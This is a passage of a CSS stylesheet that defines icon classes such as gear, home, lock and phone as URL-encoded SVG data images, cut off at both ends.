%2C12z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-forward:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M13%2C4L9%2C0v3C6%2C3%2C1%2C4%2C1%2C8c0%2C5%2C7%2C6%2C7%2C6v-2c0%2C0-5-1-5-4s6-3%2C6-3v3L13%2C4z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-gear:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M13.621%2C5.904l-1.036-0.259c-0.168-0.042-0.303-0.168-0.355-0.332c-0.092-0.284-0.205-0.559-0.339-0.82%20c-0.079-0.153-0.073-0.337%2C0.017-0.486l0.549-0.915c0.118-0.196%2C0.088-0.448-0.075-0.61l-0.862-0.863%20c-0.162-0.163-0.414-0.193-0.611-0.075l-0.916%2C0.55C9.844%2C2.182%2C9.659%2C2.188%2C9.506%2C2.109C9.244%2C1.975%2C8.97%2C1.861%2C8.686%2C1.77%20c-0.165-0.052-0.29-0.187-0.332-0.354L8.095%2C0.379C8.039%2C0.156%2C7.839%2C0%2C7.609%2C0H6.391c-0.229%2C0-0.43%2C0.156-0.485%2C0.379L5.646%2C1.415%20C5.604%2C1.582%2C5.479%2C1.718%2C5.313%2C1.77c-0.284%2C0.092-0.559%2C0.206-0.82%2C0.34C4.339%2C2.188%2C4.155%2C2.182%2C4.007%2C2.093L3.092%2C1.544%20c-0.196-0.118-0.448-0.087-0.61%2C0.075L1.619%2C2.481C1.457%2C2.644%2C1.426%2C2.896%2C1.544%2C3.093l0.549%2C0.914%20c0.089%2C0.148%2C0.095%2C0.332%2C0.017%2C0.486C1.975%2C4.755%2C1.861%2C5.029%2C1.77%2C5.314c-0.053%2C0.164-0.188%2C0.29-0.354%2C0.332L0.379%2C5.905%20C0.156%2C5.961%2C0%2C6.161%2C0%2C6.391v1.219c0%2C0.229%2C0.156%2C0.43%2C0.379%2C0.485l1.036%2C0.26C1.582%2C8.396%2C1.717%2C8.521%2C1.77%2C8.687%20c0.092%2C0.284%2C0.205%2C0.559%2C0.34%2C0.82C2.188%2C9.66%2C2.182%2C9.844%2C2.093%2C9.993l-0.549%2C0.915c-0.118%2C0.195-0.087%2C0.448%2C0.075%2C0.61%20l0.862%2C0.862c0.162%2C0.163%2C0.414%2C0.193%2C0.61%2C0.075l0.915-0.549c0.148-0.089%2C0.332-0.095%2C0.486-0.017%20c0.262%2C0.135%2C0.536%2C0.248%2C0.82%2C0.34c0.165%2C0.053%2C0.291%2C0.187%2C0.332%2C0.354l0.259%2C1.036C5.96%2C13.844%2C6.16%2C14%2C6.39%2C14h1.22%20c0.229%2C0%2C0.43-0.156%2C0.485-0.379l0.259-1.036c0.042-0.167%2C0.168-0.302%2C0.333-0.354c0.284-0.092%2C0.559-0.205%2C0.82-0.34%20c0.154-0.078%2C0.338-0.072%2C0.486%2C0.017l0.914%2C0.549c0.197%2C0.118%2C0.449%2C0.088%2C0.611-0.074l0.862-0.863%20c0.163-0.162%2C0.193-0.415%2C0.075-0.611l-0.549-0.915c-0.089-0.148-0.096-0.332-0.017-0.485c0.134-0.263%2C0.248-0.536%2C0.339-0.82%20c0.053-0.165%2C0.188-0.291%2C0.355-0.333l1.036-0.259C13.844%2C8.039%2C14%2C7.839%2C14%2C7.609V6.39C14%2C6.16%2C13.844%2C5.96%2C13.621%2C5.904z%20M7%2C10%20c-1.657%2C0-3-1.343-3-3s1.343-3%2C3-3s3%2C1.343%2C3%2C3S8.657%2C10%2C7%2C10z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-grid:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M3%2C0H1C0.447%2C0%2C0%2C0.447%2C0%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C4%2C0.447%2C3.553%2C0%2C3%2C0z%20M8%2C0H6%20C5.447%2C0%2C5%2C0.447%2C5%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C9%2C0.447%2C8.553%2C0%2C8%2C0z%20M13%2C0h-2c-0.553%2C0-1%2C0.447-1%2C1v2%20c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C14%2C0.447%2C13.553%2C0%2C13%2C0z%20M3%2C5H1C0.447%2C5%2C0%2C5.447%2C0%2C6v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2%20c0.553%2C0%2C1-0.447%2C1-1V6C4%2C5.447%2C3.553%2C5%2C3%2C5z%20M8%2C5H6C5.447%2C5%2C5%2C5.447%2C5%2C6v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V6%20C9%2C5.447%2C8.553%2C5%2C8%2C5z%20M13%2C5h-2c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V6C14%2C5.447%2C13.553%2C5%2C13%2C5z%20M3%2C10%20H1c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1v-2C4%2C10.447%2C3.553%2C10%2C3%2C10z%20M8%2C10H6c-0.553%2C0-1%2C0.447-1%2C1v2%20c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1v-2C9%2C10.447%2C8.553%2C10%2C8%2C10z%20M13%2C10h-2c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2%20c0.553%2C0%2C1-0.447%2C1-1v-2C14%2C10.447%2C13.553%2C10%2C13%2C10z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-heart:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M7%2C1.872c-2-3-7-2-7%2C2c0%2C3%2C4%2C7%2C4%2C7s2.417%2C2.479%2C3%2C3c0.583-0.521%2C3-3%2C3-3s4-4%2C4-7%20C14-0.128%2C9-1.128%2C7%2C1.872z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-home:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%227%2C0%200%2C7%202%2C7%202%2C14%205%2C14%205%2C9%209%2C9%209%2C14%2012%2C14%2012%2C7%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-info:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M7%2C0C3.134%2C0%2C0%2C3.134%2C0%2C7s3.134%2C7%2C7%2C7s7-3.134%2C7-7S10.866%2C0%2C7%2C0z%20M7%2C2c0.552%2C0%2C1%2C0.447%2C1%2C1S7.552%2C4%2C7%2C4S6%2C3.553%2C6%2C3%20S6.448%2C2%2C7%2C2z%20M9%2C11H5v-1h1V6H5V5h3v5h1V11z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-location:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M7%2C0C4.791%2C0%2C3%2C1.791%2C3%2C4c0%2C2%2C4%2C10%2C4%2C10s4-8%2C4-10C11%2C1.791%2C9.209%2C0%2C7%2C0z%20M7%2C6C5.896%2C6%2C5%2C5.104%2C5%2C4%20s0.896-2%2C2-2c1.104%2C0%2C2%2C0.896%2C2%2C2S8.104%2C6%2C7%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-lock:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M12%2C6V5c0-2.762-2.238-5-5-5C4.239%2C0%2C2%2C2.238%2C2%2C5v1H1v8h12V6H12z%20M7.5%2C9.848V12h-1V9.848%20C6.207%2C9.673%2C6%2C9.366%2C6%2C9c0-0.553%2C0.448-1%2C1-1s1%2C0.447%2C1%2C1C8%2C9.366%2C7.793%2C9.673%2C7.5%2C9.848z%20M10%2C6H4V5c0-1.657%2C1.343-3%2C3-3%20s3%2C1.343%2C3%2C3V6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-mail:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M0%2C3.75V12h14V3.75L7%2C9L0%2C3.75z%20M14%2C2H0l7%2C5L14%2C2z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-minus:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Crect%20y%3D%225%22%20style%3D%22fill%3A%23FFFFFF%3B%22%20width%3D%2214%22%20height%3D%224%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-navigation:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2213%2C1%200%2C6%207%2C7%208%2C14%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-phone:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%22-0.01%200.008%2014%2014%22%20style%3D%22enable-background%3Anew%20-0.01%200.008%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M6.939%2C9.189C6.165%2C8.557%2C5.271%2C7.705%2C4.497%2C6.744C3.953%2C6.071%2C3.473%2C5.363%2C3.969%2C4.866l-3.482-3.48%20C-0.021%2C2.02-1.146%2C5.04%2C3.675%2C9.984c5.08%2C5.211%2C8.356%2C4.097%2C8.92%2C3.511l-3.396-3.4C8.725%2C10.568%2C8.113%2C10.146%2C6.939%2C9.189z%20%20M13.82%2C11.519v-0.004c0%2C0-2.648-2.646-2.649-2.647c-0.21-0.211-0.546-0.205-0.754%2C0.002L9.455%2C9.831l3.403%2C3.407%20c0%2C0%2C0.962-0.96%2C0.961-0.961l0.002-0.001C14.043%2C12.056%2C14.021%2C11.721%2C13.82%2C11.519z%20M5.192%2C3.644V3.642%20c0.222-0.222%2C0.2-0.557%2C0-0.758V2.881c0%2C0-2.726-2.725-2.727-2.726C2.255-0.055%2C1.92-0.05%2C1.712%2C0.156L0.751%2C1.121l3.479%2C3.482%20C4.231%2C4.604%2C5.192%2C3.645%2C5.192%2C3.644z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-plus:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C5%209%2C5%209%2C0%205%2C0%205%2C5%200%2C5%200%2C9%205%2C9%205%2C14%209%2C14%209%2C9%2014%2C9%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-power:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M11.243%2C2.408c-0.392-0.401-1.024-0.401-1.415%2C0c-0.391%2C0.401-0.391%2C1.054%2C0%2C1.455%20C10.584%2C4.642%2C11%2C5.675%2C11%2C6.773s-0.416%2C2.133-1.172%2C2.91c-1.512%2C1.558-4.145%2C1.558-5.656%2C0C3.416%2C8.904%2C3%2C7.872%2C3%2C6.773%20C3%2C5.673%2C3.416%2C4.64%2C4.172%2C3.863c0.39-0.401%2C0.39-1.054%2C0-1.455c-0.391-0.401-1.024-0.401-1.415%2C0C1.624%2C3.574%2C1%2C5.125%2C1%2C6.773%20c0%2C1.647%2C0.624%2C3.199%2C1.757%2C4.365c1.134%2C1.166%2C2.64%2C1.809%2C4.243%2C1.809c1.604%2C0%2C3.109-0.645%2C4.243-1.811%20C12.376%2C9.975%2C13%2C8.423%2C13%2C6.773C13%2C5.125%2C12.376%2C3.574%2C11.243%2C2.408z%20M7%2C8.053c0.553%2C0%2C1-0.445%2C1-1v-6c0-0.553-0.447-1-1-1%20c-0.553%2C0-1%2C0.447-1%2C1v6C6%2C7.604%2C6.447%2C8.053%2C7%2C8.053z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-recycle:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M3%2C7h1L2%2C4L0%2C7h1c0%2C3.313%2C2.687%2C6%2C6%2C6c0.702%2C0%2C1.374-0.127%2C2-0.35v-2.205C8.41%2C10.789%2C7.732%2C11%2C7%2C11%20C4.791%2C11%2C3%2C9.209%2C3%2C7z%20M13%2C7c0-3.313-2.688-6-6-6C6.298%2C1%2C5.626%2C1.127%2C5%2C1.349v2.206C5.59%2C3.211%2C6.268%2C3%2C7%2C3c2.209%2C0%2C4%2C1.791%2C4%2C4%20h-1l2%2C3l2-3H13z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-refresh:after { background-image: 